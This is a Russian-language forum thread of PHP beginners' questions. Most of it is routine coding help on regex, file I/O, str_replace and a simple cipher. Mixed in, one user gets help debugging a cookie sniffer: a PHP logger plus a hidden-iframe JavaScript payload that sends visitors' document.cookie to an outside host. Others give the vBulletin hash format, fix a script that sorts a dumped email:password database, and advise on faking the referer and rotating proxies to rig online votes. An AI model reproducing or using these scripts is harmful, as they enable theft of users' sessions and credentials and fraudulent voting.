Просмотр полной версии : [php] Новичкам: задаем вопросы
По возможности помогите плз. Нужна прога типа:
есть список опеределнных символов, они идут в столбец
123123123-34534534
243242342-43534534
Нужно вставлять перед каждой строкой определенный(одинаковый) текст:
рарар -аавыа 123123123-34534534
рарар -аавыа 243242342-43534534
и уже другой(одинаковый) текст после каждой строки:
рарар -аавыа 123123123-34534534 -039оратвг =ыаывамив
рарар -аавыа 243242342-43534534 -039оратвг =ыаывамив
Заранее благодарен! Если есть такая прога, то подскажите название плз, ничего подобного не нашел.
VaTTka, вот скрипт... Заменяй "текст в начале" и "текст в конце" на свои значения...
<?php
if(isset($_POST['go']))
{
$h = explode("\n", $_POST['text']);
for ($j = 0; $j<=count($h)-1; $j++)
{
$ar = rtrim($h[$j]);
print_r('<div align="center">текст в начале '.$ar.' текст в конце</div>');
}
} else {
echo '<div align="center">Введи исходные данные<br><form method=post>
<textarea cols=70 rows=20 name="text"></textarea><br><br><input name="go"
type=submit value="Вставить то что нужно"></form></div>';
}
?>
Такой вопрос...
Есть текст, в неизвестном месте есть мыло, причем оно может быть как просто name@site.com так и <u>name@site.com </u> и еще куча вариаций....
Может можка какнть выцепить мыло??
Pashkela
31.03.2009, 12:00
<?php
$text = 'Лабуда, lala@uandex.ru, разный текст
Лабуда, <u>kusia@mail.ru</u>, разный текст текста=)b2f387d9ebc680e559bc48d029c6c0efПр иведите Лабуда, разный текст b2f387d9ebc680e559bc48d029c6c0efЛабуда, разный текст пример текста=) Типо такого...';
preg_match_all('/\w+@\w+.\w+/', $text, $out);
print_r($out);
?>
Встраиваю снифер с помощью javascript
Проблема в том, что страница постоянно обновляется из-за header
Как можно заставить скрипт выполниться 1 раз?
При заходе, страница постоянно обновляется.
попробовал функцию "break" - не помогла.
<?
$data_filename = "data.txt";
$max_entries = 0; // 0 для снятия лимита
require 'functions.php';
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes(urldecode($_SERVER['HTTP_REFERER'])));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
//$sniffed['query'] = ($_SERVER['QUERY_STRING']);
$sniffed['agent'] = htmlspecialchars(stripslashes($_SERVER['HTTP_USER_AGENT']));
$sniffed['real_ip'] = htmlspecialchars(stripslashes($_SERVER['HTTP_X_FORWARDED_FOR']));
$entrie = serialize($sniffed);
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
$data[] = $entrie;
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
header("Location:http://sait.ru/mail.php");
breake;
// Вызов: <script>window.location.href='http://site2.ru;</script>
?>
Pashkela
31.03.2009, 22:50
breake; NO
exit; YES
не помогает.
Поставил exit; в s.php и funchion.php - результат тот же.
mailbrush
31.03.2009, 23:16
die();
Встраиваю снифер с помощью javascript
Проблема в том, что страница постоянно обновляется из-за header
Как можно заставить скрипт выполниться 1 раз?
При заходе, страница постоянно обновляется.
попробовал функцию "break" - не помогла.
<?
$data_filename = "data.txt";
$max_entries = 0; // 0 для снятия лимита
require 'functions.php';
cleaner();
$sniffed['date'] = date("d.m.Y H:i");
$sniffed['ip'] = $_SERVER['REMOTE_ADDR'];
$sniffed['referer'] = htmlspecialchars(stripslashes(urldecode($_SERVER['HTTP_REFERER'])));
$sniffed['query'] = htmlspecialchars(stripslashes(urldecode($_SERVER['QUERY_STRING'])));
//$sniffed['query'] = ($_SERVER['QUERY_STRING']);
$sniffed['agent'] = htmlspecialchars(stripslashes($_SERVER['HTTP_USER_AGENT']));
$sniffed['real_ip'] = htmlspecialchars(stripslashes($_SERVER['HTTP_X_FORWARDED_FOR']));
$entrie = serialize($sniffed);
$data = array();
$data_content = get_file_content($data_filename);
if ($data_content !== NULL) $data = unserialize($data_content);
$data[] = $entrie;
$data_content = serialize($data);
put_file_content($data_filename, $data_content);
header("Location:http://sait.ru/mail.php");
breake;
// Вызов: <script>window.location.href='http://site2.ru;</script>
?>
break;,а не breake; :)
Так? Скрипт останавливается, но перехвата не происходит.
die("Location:http://www.starichki.ru/mail.php?offset=1&display=text"));
rushter. да я заметил ошибку. Все так же.
echo "<script>window.location.href='http://site2.ru;</script>";
и можете меня называть извращенцем
Не назову.
Ибо это сработало, помогло.
Помог этот скрипт
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://sait.ru/1.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');
wildshaman
01.04.2009, 08:07
Так? Скрипт останавливается, но перехвата не происходит.
rushter. да я заметил ошибку. Все так же.
надо
die;
header("Location: http://yandex.ru");
как записать данные из массива в фаил?
$ha =fopen("1.txt", 'rb');
$o = serialize($o); // массив
fwrite ($ha,"$o");
fclose($ha);
выдает
Warning: fclose(): 3 is not a valid stream resource in
Array ( [0] => Array ( [0] => kism [1] => kism ) )
Warning: fwrite(): 3 is not a valid stream resource in
как записать данные из массива в фаил?
$ha =fopen("1.txt", 'rb');
$o = serialize($o); // массив
fwrite ($ha,"$o");
fclose($ha);
выдает
Warning: fclose(): 3 is not a valid stream resource in
Array ( [0] => Array ( [0] => kism [1] => kism ) )
Warning: fwrite(): 3 is not a valid stream resource in
$out = "out.txt";
$o = serialize($o); // массив
$out_list = fopen($out, "w");
while (!feof($o))
{
$buffer = trim(fgets($o));
fwrite($out_list, $buffer"\r\n");
}
fclose($out_list);
не тестил
Warning: feof(): supplied argument is not a valid stream resource in
Warning: fgets(): supplied argument is not a valid stream resource in
Warning: feof(): supplied argument is not a valid stream resource in
Warning: fgets(): supplied argument is not a valid stream resource in
Krist_ALL
01.04.2009, 13:04
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'rb');
$a = serialize($o);
fwrite ($ha,"$a");
fclose($ha);
?>
Можно так
fwrite($file, print_r($array,true));
Или так
fwrite($file, var_dump($array,true));
fwrite($file, var_export($array,true));
пустой фавил((
массив имеет формат
Array
(
[0] => Array
(
[0] => цуцуцу
[1] => ввц
)
)
Krist_ALL
01.04.2009, 13:41
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
$a = serialize($o);
fwrite ($ha,"$a");
fclose($ha);
?>
Причина была в режиме открытия файла!
Действуй фореачем,или фор.
В общем цикл решает.
записваеться в виде
a:1:{i:0;a:0:{}}a:1:{i:0;a:2:{i:0;s:16:"цуцу";i:1;s:16:"цуцу";}}a:1:{i:0;a:2:{i
а протсо значение нилезя? ))
Krist_ALL
01.04.2009, 14:06
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
foreach($o as $z)
{ $znacheniya .="$z".';'; }
fwrite ($ha,"$znacheniya");
fclose($ha);
?>
в качестве разделителя выступает точка с запятой, если не хотите разделять значения то измените на
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
foreach($o as $z)
{ $znacheniya .=$z; }
fwrite ($ha,"$znacheniya");
fclose($ha);
?>
Емае
$fo = fopen('file','a;);
foreach($array as $val){
fwrite($fo,$val."\n");
}
fclose($fo);
mailbrush
01.04.2009, 14:10
<?
$array=array; //array
for($i=0;$i<=count($array[0]);$i++)
{
$fp=fopen("out.txt","a+");
fwrite($fp,$array[0][$i]);
fclose($fp);
}
?>не тестил
<?php
$o = array(1,2,3,4,5);
$ha =fopen("1.txt", 'a');
foreach($o as $z)
{ $znacheniya .="$z".';'; }
fwrite ($ha,"$znacheniya");
fclose($ha);
?>
Array;Array;Array;Array;Array;Array;Array;
Емае
$fo = fopen('file','a;
foreach($array as $val){
fwrite($fo,$val."\n");
}
fclose($fo);
Array
Array
Array
Array
=))
Krist_ALL
01.04.2009, 14:32
Zitt, ты точно сокпировал код правильно, мой всмысле?у меня все нормально работает да и не может быть иначе. Скопипасти код и проверь еще раз!
$page = 'http://www.google.ru/';
preg_match('#<b>(.*?)</b>#i', $page, $match);
print_r($match);
Выдаёт: Array ( )
Что я не так делаю ?(((
geforse, пустой масисв у тя..... где ты в строке page увидел теги...
$page = 'http://www.google.ru/';
preg_match('#<b>(.*?)</b>#i', $page, $match);
print_r($match);
Выдаёт: Array ( )
Что я не так делаю ?(((
$page = 'http://www.google.ru/';
preg_match('#<b>(.*?)</b>#i', file_get_contents($page), $match);
print_r($match);
Попробуй так..
И так:
$page = 'http://www.google.ru/';
preg_match('#<b>(.*?)</b>#i', file_get_contents($page), $match);
print_r($match);
Попробуй так..
и так:
$page = file_get_contents("http://www.google.ru/");
preg_match('#<b>(.*?)</b>#i', $page, $match);
print_r($match);
выдаёт Array ( ) :(
тупо на гугле.ру нету тега <b> :-DD
тупо на гугле.ру нету тега <b> :-DD
Угу.. Там в <b></b> только адрес мыла, если выполнен вход в почту на гегле..
если выполнен вход в почту на гегле..
geforse, знач юзай курл с куками от мыла, потом парсь..
delay(0)
01.04.2009, 18:40
Такая ситуация: получаю из формы определённый текст (точнее - стихотворение), разбитый на строки, и конечно содержащий пропуски между катренами.
Сам вопрос: каким образом ограничить количество пропусков (<br/>) между ними до 1. Т.е. вбив хоть 10 пропусков, получишь 1.
Вот так выводить можно:
Не жалею, не зову, не плачу,
Все пройдет, как с белых яблонь дым.
Увяданья золотом охваченный,
Я не буду больше молодым.
Ты теперь не так уж будешь биться,
Сердце, тронутое холодком,
И страна березового ситца
Не заманит шляться босиком.
Вот так нельзя:
Не жалею, не зову, не плачу,
Все пройдет, как с белых яблонь дым.
Увяданья золотом охваченный,
Я не буду больше молодым.
Ты теперь не так уж будешь биться,
Сердце, тронутое холодком,
И страна березового ситца
Не заманит шляться босиком.
Исправил...
/(.*?<br\/>?)/
первое попавшееся совпадение будет в $1
Просто нужно больше оптимизировать регексп :) , ну там просмотреть на счет спец символов :)
а потом открываешь и читаешь файл
while (<FILE>)
{
if(/(.*?<br\/>?)/) {print $1 . "\n"; }
}
close FILE;
Теперь должно рабоать правильно :)
Только щя понял что это тема про ПХП, извиняюсь .. :) Надеюсь по перлу понятно как и в ПХП сделать.
delay(0)
01.04.2009, 19:37
akil, разобрался без регекспов. :)
Есть скрипт который вызывает некоторую функцию
эта функция отдает содержимое страницы с определенного сервера
если содержимое то что надо то функция делает одно действие иначе другое.
вообщем конструкиц типа
if(get_something($variable)){
$a="1";
}else{
$a="2"}
дак вот иногда этот сервер с которого функция заирает данные бывает в дауне и у меня выводит 504 ошибка что сервак отвалился по таймауту...как это обойти и если сервак отваливается чтоб сразу выполнялось
$a=2
ну.. можно добавить еще одно условие и в нем уже проверять на даную ошибку...
elsif(get_something($variable)=="your error") {do_something;}
ну.. можно добавить еще одно условие и в нем уже проверять на даную ошибку...
elsif(get_something($variable)=="your error") {do_somthing;}
такая конструкция не катит так как функция не возвращает ошибку а идет отваливание по тайм аутут от сервера
тогда первое что приходит на ум.. так это проверять сначала на доступность сервак .. а потом уже получать контент если он в апе
ну .. если в дауне .. это выключен, или отключен от сетки :)
то пингом. Если ответ приходит значит можно действовать дальше. Если не шибаюсь то в ПХП команду в системе можно выполнить при помощи system();
На вскидку не помню что он отдает и в каких случаях.
Кста .. или тем же телнетом поломиться на определенный порт :) Может получиться...
если функция например дергает данные посредством fsockopen то можешь уменьшить таймаут например через stream_set_timeout или в параметре к fsockopen что бы не ждать 30 сек, для curl CURLOPT_TIMEOUT.
надо
die;
header("Location: http://yandex.ru");
header("Location: http://yandex.ru");
die;
:)
Не знаю куда запостить, пишу сюда. Если что далеко не уносите этот пост, а то потом не найду.
Вопрос: есть ли php-интерпретатор для кпк(windows CE)? НЕ pocket hph. А просто php, скомпиленный под wince. или может кто-нибудь, кто умеет, попробовать скомпилировать исходники php под arm(windows ce)?
xismyname
02.04.2009, 03:59
Привет..
Незнает тут кто нибудь в каком формате создаються HASH пароля в vBulletin 3.0.7,имею виду наприм. md( md($pas) . salt ); и т.д.
Заранее спасибо !
| VBulletin | md5(md5($pass).$salt)
Почему функция неправитьно шифрует...
Заменяет не то что под тем сиволом как во 2 массиве...
function crupt($text){
$key = array(q,w,e,r,t,y,u,i,o,p,a,s,d,f,g,h,j,k,l,z,x,c, v,b,n,m,1,2,3,4,5,6,7,8,9,0);
$dekey=array(g,f,d,s,a,h,j,k,l,m,z,n,x,b,c,v,1,q,2 ,w,3,e,4,r,5,t,6,y,7,u,8,i,9,o,0,p);
$text = str_replace($key, $dekey, $text);
return $text;
}
Pashkela
02.04.2009, 10:45
потому что разное кол-во элементов массивов
потому что разное кол-во элементов массивов
Да вроде даже на глаз видно что одинаковое...
Pashkela
02.04.2009, 11:27
Чото сам не понимаю, даже так сделал:
<?php
$key =
array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","1","2","3","4","5","6","7","8","9","0");
$dekey=
array("g","f","d","s","a","h","j","k","l","m","z","n","x","b","c","v","1","q","2","w","3","e","4","r","5","t","6","y","7","u","8","i","9","o","0","p");
$str = "qwe";
echo str_replace($key, $dekey, $str);
?>
чушь какая-то:)
Чото сам не понимаю, даже так сделал:
<?php
$key =
array("q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","1","2","3","4","5","6","7","8","9","0");
$dekey=
array("g","f","d","s","a","h","j","k","l","m","z","n","x","b","c","v","1","q","2","w","3","e","4","r","5","t","6","y","7","u","8","i","9","o","0","p");
$str = "qwe";
echo str_replace($key, $dekey, $str);
?>
чушь какая-то:)
А как можно сделать?
Мне надо шифрование хотяб по 6 значному ключу...
vizard-06
02.04.2009, 11:38
<?
function crupt($text){
$key = array('q','w','e','r','t','y','u','i','o','p','a', 's','d','f','g','h','j','k','l','z','x','c','v','b ','n','m','1','2','3','4','5','6','7','8','9','0') ;
$dekey=array('g','f','d','s','a','h','j','k','l',' m','z','n','x','b','c','v','1','q','2','w','3','e' ,'4','r','5','t','6','y','7','u','8','i','9','o',' 0','p');
$text = str_replace($key, $dekey, $text, $count);
echo $count;
return $text;
}
echo ' '.crupt('q');
?>
выводет
3 e
перезамен идёт по несколько раз
проблема в том что в алфавите нет каких то букв, поэтому происходит замена левым символом который заменялся перед ней, иначе символом w как я понял. если тебе нужен шифроалгоритм могу скинуть перестановку с путями гамильтона(тока я не доделал декодирование сего мяса)
Pashkela
02.04.2009, 11:41
а вот так работает:
<?php
function zam($text){
$key =
array("q","w","e","r","t","y","u");
$dekey=
array("g","f","d","s","a","h","j");
return str_replace($key, $dekey, $text);
}
$str = "qwe";
echo zam($str);
?>
т.е. прямая и явная связь с КОЛИЧЕСТВОМ элементов в массиве, т.е. есть ограничения какие-то, или не успевает вычислить, или хз
здесь
http://ru2.php.net/str_replace
ничего про такие ограничения не сказано, наверное мы обнаружили новый баг функции str_replace:)
Надо пулять сюда:
http://bugs.php.net/
vizard-06
02.04.2009, 11:46
работает на половину не верно,верные вариации есть только потому что нет заменённых символов дальше в массиве на которые бы можно было ещё заменить
vizard-06
02.04.2009, 11:53
Pashkela.
да какой это баг, функция меняет все варианты котрые есть в массиве, и ей пофиг что они уже были когда то поменяны, перезамен идёт по несколько раз, так как заменив например на символ "e" на "d", она дальше в списке массива находит ещё символ "d" и меняет соответственно его на "x", поэтому и получается не верный результат
$key = array("q","w","e","r","t","y","u","i","o","p","a","s","d");
$dekey= array("g","f","d","s","a","h","j","k","l","m","z","n","x");
Pashkela.
да какой это баг, функция меняет все варианты котрые есть в массиве, и ей пофиг что они уже были когда то поменяны, перезамен идёт по несколько раз, так как заменив например на символ "e" на "d", она дальше в списке массива находит ещё символ "d" и меняет соответственно его на "x", поэтому и получается не верный результат
И как сделать чтоб 1 раз меняла?
vizard-06
02.04.2009, 11:55
Byrger
меняй по отдельности буквы а не все сразу или реализовать через ASCII
Byrger
меняй по отдельности буквы а не все сразу
Отсюда вопрос как сторку разбить по букавм на массив и потом после прогона собрать?
vizard-06
02.04.2009, 12:15
можно попробовать вот так извратиться)))
<?
function crupt($text)
{
$key = array(ord('q'),ord('w'),ord('e'),ord('r'));
$dekey= array(ord('g'),ord('f'),ord('d'),ord('s'));
for($i = 0; $i < strlen($text); $i++)
{
$texte .= chr(str_replace($key, $dekey, ord($text{$i})));
}
return $texte;
}
echo crupt('qwer');
?>
vizard-06
02.04.2009, 12:32
а лучше всё-таки
<?
function crupt($text)
{
$key = array('q' => 'g', 'w' => 'f','e' => 'd', 'r' => 's');
for($i = 0; $i < strlen($text); $i++)
{
$rekey = empty($key[$text{$i}]) ? $text{$i} : $key[$text{$i}];
$texte .= $rekey;
}
return $texte;
}
echo crupt('bbbqwer');
?>
можно попробовать вот так извратиться)))
<?
function crupt($text)
{
$key = array(ord('q'),ord('w'),ord('e'),ord('r'));
$dekey= array(ord('g'),ord('f'),ord('d'),ord('s'));
for($i = 0; $i < strlen($text); $i++)
{
$texte .= chr(str_replace($key, $dekey, ord($text{$i})));
}
return $texte;
}
echo crupt('qwer');
?>
Аналогичный результат...
Без шифровки: e10adc3949ba59abbe56e057f20f883e
после шифровки: d10adc3949ba59abbd56d057f20f883d
После расшифровки: e10aec3949ba59abbe56e057w20w883e
vizard-06
02.04.2009, 12:40
в массиве на замен не все символы, добаляй все, я ради приера показывал
собственно вот вам реализация крипто-алгоритма методом перестановки с применением путей Гамильтона
function gamilton_enc($in,$key)
{
$out = "";
$routes = array(
1 => "45102376",
2 => "40231576",
3 => "46201573",
4 => "45762013",
5 => "40132675");
$tmp_key = $routes[array_rand($routes, 1)];
$block_size = strlen($tmp_key);
while (strlen($in) % $block_size != 0) {
$in .= "*";
}
$num_block = 0;
$blocks = array();
for ($i = 0; $i < strlen($in); ) {
$blocks[$num_block] = substr($in, $i, $block_size);
$num_block++;
$i += $block_size;
}
$key_routes = explode(",", $key);
foreach ($blocks as $key => $block) {
$curent_key = $key % count($key_routes);
for ($i = 0; $i < strlen($routes[$key_routes[$curent_key]]); $i++) {
$out .= $block[$routes[$key_routes[$curent_key]][$i]];
}
}
return $out;
}
function gamilton_dec($in,$key)
{
$out = "";
$fout="";
$routes = array(
1 => "45102376",
2 => "40231576",
3 => "46201573",
4 => "45762013",
5 => "40132675");
$tmp_key = $routes[array_rand($routes, 1)];
$block_size = strlen($tmp_key);
$num_block = 0;
$blocks = array();
for ($i = 0; $i < strlen($in); ) {
$blocks[$num_block] = substr($in, $i, $block_size);
$num_block++;
$i += $block_size;
}
$key_routes = explode(",", $key);
$block_num=0;
foreach ($blocks as $key => $block) {
$curent_key = $key % count($key_routes);
for ($i = 0; $i < strlen($routes[$key_routes[$curent_key]]); $i++) {
$out[$block_num][$routes[$key_routes[$curent_key]][$i]] = $block[$i];
}
ksort($out[$block_num]);
$fout.=implode('',$out[$block_num]);
$block_num++;
}
return $fout;
}
$in = "e10adc3949ba59abbe56e057f20f883e";
$key = "2,5,3";
var_dump( gamilton_enc($in,$key) );
помоему никто еще на пхп не реализовывал данный алгоритм=) хорошо шифрует строки кратные длине ключа, а если нет то выходит что на выходе будут технические символы. если кто то заинтересуется может доработать мой код
собственно вот вам реализация крипто-алгоритма методом перестановки с применением путей Гамильтона
помоему никто еще на пхп не реализовывал данный алгоритм=) хорошо шифрует строки кратные длине ключа, а если нет то выходит что на выходе будут технические символы. если кто то заинтересуется может доработать мой код
Спасибо большое!
В php и так уже все сделано за тебя =)
$str = "Hello";
echo $str[0]; // Выводит H, но работает только со строками,тоесть с " "
--or--
$str = "Hello";
$arr = str_split($str);
vizard-06
02.04.2009, 13:11
вот рабочий на 100% вариант, то что ты хотел реализовано, что там у тебя с дешифрацией - незнаю, выкладывай
код
<?
function crupt($text)
{
$key = array('q' => 'g', 'w' => 'f', 'e' => 'd', 'r' => 's', 't' => 'a',
'y' => 'h', 'u' => 'j', 'i' => 'k', 'o' => 'l', 'p' => 'm',
'a' => 'z', 's' => 'n', 'd' => 'x', 'f' => 'b', 'g' => 'c',
'h' => 'v', 'j' => '1', 'k' => 'q', 'l' => '2', 'z' => 'w',
'z' => 'w', 'x' => '3', 'c' => 'e', 'v' => '4', 'b' => 'r',
'n' => '5', 'm' => 't', '1' => '6', '2' => 'y', '3' => '7',
'4' => 'u', '5' => '8', '6' => 'i', '7' => '9', '8' => 'o',
'9' => '0', '0' => 'p'
);
for($i = 0; $i < strlen($text); $i++)
{
$rekey = $key[$text{$i}] != '' ? $key[$text{$i}] : $text{$i};
$texte .= $rekey;
}
return $texte;
}
echo crupt('qwertyuiopasdfghjklzxcvbnm1234567890');
?>
-Hormold-
03.04.2009, 01:24
Накопал фишку в PHP:
<?php
unset(MI_PI);
echo pi();
?>
Прикольная ошибка :-)
Что же такое - T_PAAMAYIM_NEKUDOTAYIM?
<?php
echo T_PAAMAYIM_NEKUDOTAYIM;
?>
WTF - 374?!
Pashkela
03.04.2009, 02:00
2 -Hormold-:
PAAMAYIM_NEKUDOTAYIM это как правильно перевели с иврита «двойное двоеточие»
А всё потому, что наш любимый PHP развивался израильтянами Andi Gutmans'oм и Zeev'oм Suraski
как объединить два файл в один php код ? Плиз, очень срочно
upload.html
<html><body><form action="upload.php" method="post" enctype="multipart/form-data"><input type="file" name="filename"><br><input type="submit" value="Загрузить"><br></form></body></html>
и
upload.php
<?php if($_FILES["filename"]["size"] > 1024*3*1024) { echo ("Размер файла превышает три мегабайта"); exit; } if(copy($_FILES["filename"]["tmp_name"], "D:/server/Apache/htdocs/".$_FILES["filename"]["name"])) { echo("Файл успешно загружен <br>"); echo("Характеристики файла: <br>"); echo("Имя файла: "); echo($_FILES["filename"]["name"]); echo("<br>Размер файла: "); echo($_FILES["filename"]["size"]); echo("<br>Каталог для загрузки: "); echo($_FILES["filename"]["tmp_name"]); echo("<br>Тип файла: "); echo($_FILES["filename"]["type"]); } else { echo("Ошибка загрузки файла"); } ?>
upload.php
<?php if($_FILES["filename"]["size"] > 1024*3*1024)
{
echo ("Размер файла превышает три мегабайта");
exit;
}
if(copy($_FILES["filename"]["tmp_name"], "D:/server/Apache/htdocs/".$_FILES["filename"]["name"]))
{ echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($_FILES["filename"]["name"]);
echo("<br>Размер файла: ");
echo($_FILES["filename"]["size"]);
echo("<br>Каталог для загрузки: ");
echo($_FILES["filename"]["tmp_name"]);
echo("<br>Тип файла: ");
echo($_FILES["filename"]["type"]);
}
else {
echo("Ошибка загрузки файла");
} ?>
<html><body><form action="upload.php" method="post" enctype="multipart/form-data"><input type="file" name="filename"><br><input type="submit" value="Загрузить"><br></form></body></html>
Гм.... вроде Гуру... =)
Самый примитивный, на мой взгляд, метод:
$t=file("1.txt");
$t=implode("\r\n",$t);
$t=str_replace("\r\nFucken","",$t);
$f=fopen("1.txt","w");
fwrite($f,$t);
fclose($f);
Удаляет все слова "Fucken" из файла
$rd=0;//Номер строки которую нужно удалить
$t=file("1.txt");
$fp = fopen("1.txt","a+");
flock ($fp,LOCK_EX);
for ($i=0;$i< sizeof($t);$i++) { if ($i==$rd) {unset($t[$i]);} }
fputs($fp, implode($t));
fflush($fp);
flock ($fp,LOCK_UN);
fclose($fp);
Например в txt файле написаны 5 строчек:
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла
icq: бла бла бла пасс: бла бла
Как зделать так чтоб при переходе на страницу вычитавалась 1 строчка файла и удалялась из файла, при втором переходе уже выдавалась следующая срочка и тоже удалялась! и так со всеми строчками! пока не роздадуться все аси! (например)
Заранее огромное спасибо!
Как зделать так чтоб при переходе на страницу вычитавалась 1 строчка файла и удалялась из файла, при втором переходе уже выдавалась следующая срочка и тоже удалялась!
Например, вот вариант (не шибко красивый конечно). Но я бы порекомендовал юзать БД.
<?php
$f = file_get_contents('icq.txt');
$arr = explode("\r\n",$f);
echo $arr[0]; //печатаем нум.
$arr[0]='';
file_put_contents('icq.txt',trim(implode("\r\n",$arr)));
?>
Например, вот вариант (не шибко красивый конечно). Но я бы порекомендовал юзать БД.
<?php
$f = file_get_contents('icq.txt');
$arr = explode("\r\n",$f);
echo $arr[0]; //печатаем нум.
$arr[0]='';
file_put_contents('icq.txt',trim(implode("\r\n",$arr)));
?>
ему скорее всего под раздачу асек .. нах ещё бд то??
зачем использовать file_get_contents а потом explode ? есть ф-ия file()
$arr[0]=''; - зачем ? это остаёться в массиве, и потом добавляеться после него "\r\n" .. поэтому в последующие разы использования скрипта, будет выводиться пустая строка.. тебя от этого конечно спасает trim(), но нах это? .. юзай unset()
Pashkela
03.04.2009, 19:31
<?php
$file = 'tema1.txt';
$arr = file($file);
if (count($arr)!=0) echo $arr[0]. "\n";
else {echo 'Асек больше нет';exit;}
unset ($arr[0]);
file_put_contents($file,trim(implode("\r\n",$arr)));
?>
hordon,говнокод.У тебя в коде два случая: либо уже загружено,либо ошибка.А если я зашел первый раз?Да и привязка пути
D:/server/Apache/htdocs/
Авторизация вконтакте:
$cookie="remixlang=0;
remixchk=5;
remixmid=1;
remixemail=admin%40vkontakte.ru;
remixpass=fdgfgd56456fghghf67ffhg;
remixsid=297f8b6f81dc6fghf678gbg76754a96d0dcef1983 0a4622cc4d68;";
$ref = 'http://vkontakte.ru/';
$ch=curl_init ("http://vkontakte.ru/login.php");
$ua = 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Widows NT)';
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $PostData);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$zapros);
$page = curl_exec($ch);
echo $page;
Чего ему надо ?((
Не авторизирует(
mailbrush
03.04.2009, 20:15
art2222, вот скрипт раздачки http://forum.antichat.ru/showpost.php?p=1139001&postcount=646
<?php
$file = 'tema1.txt';
$arr = file($file);
if (count($arr)!=0) echo $arr[0]. "\n";
else {echo 'Асек больше нет';exit;}
unset ($arr[0]);
file_put_contents($file,trim(implode("\r\n",$arr)));
?>
чтоза быдлокод?
<?php
$fname = 'tema1.txt.';
$file = file($fname);
($tmp = array_pop($file))?(echo($tmp)):(die('Асек больше нет'));
file_put_contents($fname, $file);
Все намного проще!
$t=file("1.txt");
echo $t[0];
$rd=0;//Номер строки которую нужно удалить
$fp = fopen("1.txt","a+");
flock ($fp,LOCK_EX);
for ($i=0;$i< sizeof($t);$i++) { if ($i==$rd) {unset($t[$i]);} }
fputs($fp, implode($t));
fflush($fp);
flock ($fp,LOCK_UN);
fclose($fp);
mailbrush
03.04.2009, 20:35
У Чаака, имхо, самый оптимальный вариант.
Не передаются данные из хтмл формы методом пост скрипту пыхыпышному.Как решить проблему?
Содержание .htaccess:
Order deny,allow
allow from 127.0.0.1
Options -Indexes
DirectoryIndex index.php
Больше ничего вроде и не менял.
Настройки www:
<Directory "C:\Program Files\VertrigoServ\www">
Options None
AllowOverride All
</Directory>
Ребят, как более грамотно сделать, задача во всех строках, перед выводом, заменить "<br>" на "горизонтальную табуляцию" ?
Велемир, скрипт покажи и html-форму
Ребят, как более грамотно сделать, задача во всех строках, перед выводом, заменить "<br>" на "горизонтальную табуляцию" ?
$content = str_replace('<br>', '<hr>', $content);
Есть скрипт от Kraken Скрипт пересохраняет базу emailass в два файла rus.txt eng.txt (соответственно в одну с паролями на кирилице в ддругую с паролями на латинице)
вобщем доработать его малёк нужно.. поправить код при пересохранении базы с кириллицей.
скрипт нормально парсит такой вид:
мыло:рус123
или
мыло:рус
но не парсит такой вид
мыло:123рус
видно что в 3м варианте идёт сначала цифры, затем русс. буквы
нужно, чтоб 3й вид сохранял тоже в базу.
вот код:...
<?php
echo "Сделано кракеном <br><b><font color=green>© Kraken icq 757-834</font></b>";
$rus=fopen('rus.txt','w');
$eng=fopen('eng.txt','w');
$logins=array_map('rtrim',file('pars.txt')); //массив элементов login:pass
for ($i=0;$i<count($logins);$i++)
{
$x=explode(':',$logins[$i]);
if ((191>ord($x[1][0])) &(ord($x[1][0])<256)) fputs($eng,$x[0].":".$x[1]."\n");
else fputs($rus,$x[0].":".$x[1]."\n");
}
fclose($rus);
fclose($eng);
echo "<br>Скрипт удачно завершил работу.";
?>
FreeNeDiX
04.04.2009, 11:42
Привет всем, вообщем проблема такая. Есть сайт, в котором голосования проходит раз в сутки и режется прокси. Допустим ссылка для голосования типа http://site.net/vote.php?id=1&rating=5
Но при прямом переходе на нее ссылается на реферер, который должен быть непосредственно с http://site.net/. В итоге голосование не проходит. Отсюда вопрос. Можно ли написать скрипт на php для подмена реферера в запросе? Грубо говоря перешел по написанному скрипту с измененным хеадером и тебе засчитался голос :). Примерно так? Какие идеи? :)
-=Static=-
04.04.2009, 12:48
FreeNeDiX, а зачем вообще рефера посылать?? Хотя если надо, то хоть сокетами,: хоть cURL'ом, кому как проще/ближе.
Тока непонятно как происходит контроль? По реферу - можно подменить. По кукам - можно их не слать. По IP - на то есть прокси. Вообщем флаг вам в руки!)
jkSeyv <?php
$rus=fopen('rus.txt','w');
$eng=fopen('eng.txt','w');
$logins=array_map('rtrim',file('pars.txt'));
$c=count($logins);
for ($i=0;$i<$c;$i++)
{
list($num,$pass)=explode(':',$logins[$i]);
if (preg_match('~[а-яА-Я]~',$pass)) fputs($rus,$num.':'.$pass."\n");
else fputs($eng,$num.':'.$pass."\n");
}
fclose($rus);
fclose($eng);
echo "<br>Скрипт удачно завершил работу.";
?>
